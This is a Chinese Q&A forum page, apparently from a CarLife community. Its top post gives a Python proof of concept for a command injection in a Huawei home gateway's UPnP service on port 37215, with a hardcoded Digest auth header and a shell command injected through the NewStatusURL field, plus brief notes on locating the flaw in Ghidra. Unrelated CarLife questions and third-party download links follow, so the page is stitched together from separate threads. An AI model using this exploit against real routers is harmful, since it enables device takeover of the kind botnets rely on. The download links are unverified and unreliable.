JC · 提问于2021.08.23浏览量:647payload如下:
import requestsheaders = {"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"}data = '''<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>;mkdir /bin/hell;</NewStatusURL><NewDownloadURL>HUAWEIUPNP</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>'''requests.post('http://192.168.3.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)

漏洞分析: 首先需要分析出这37215端口的应用程序【此处对应的程序为upnp】然后对该程序进行逆向。从POC中可以分析,注入点是在,通过在Ghidra中搜索该字符串,并查找交叉引用,找到目标函数。 (回答怎么没法贴图啊? 贴图不是更直观么)
百度Carlife无法使用酷狗音乐、网易云音乐等听歌软件
+1
原车不带CarLife+后改的安卓大屏机 有什么办法可以装上CarLife+
Hello World!
https://cloud.189.cn/t/rYbMbeNfENfq (访问码:k6f2) 车机端 3.0
https://cloud.189.cn/t/b6rYZzZbaaU3 (访问码:au3o) 车机端 4.0
单独升级车机上的carlife
Hello World!
最新车机carlife安装包在哪下载
【FAQ】Carlife常见问题梳理,不定期更新,详情请戳此问答
为什么我的Carlife+只能选择随心听和QQ音乐,没有网易云音乐、喜马拉雅等呢?明明手机上都装了的,我看很多网友的照片里有很多音乐或者有声app可以切换。。
Carlife+ v7.4.5
手机是三星S21
相关问题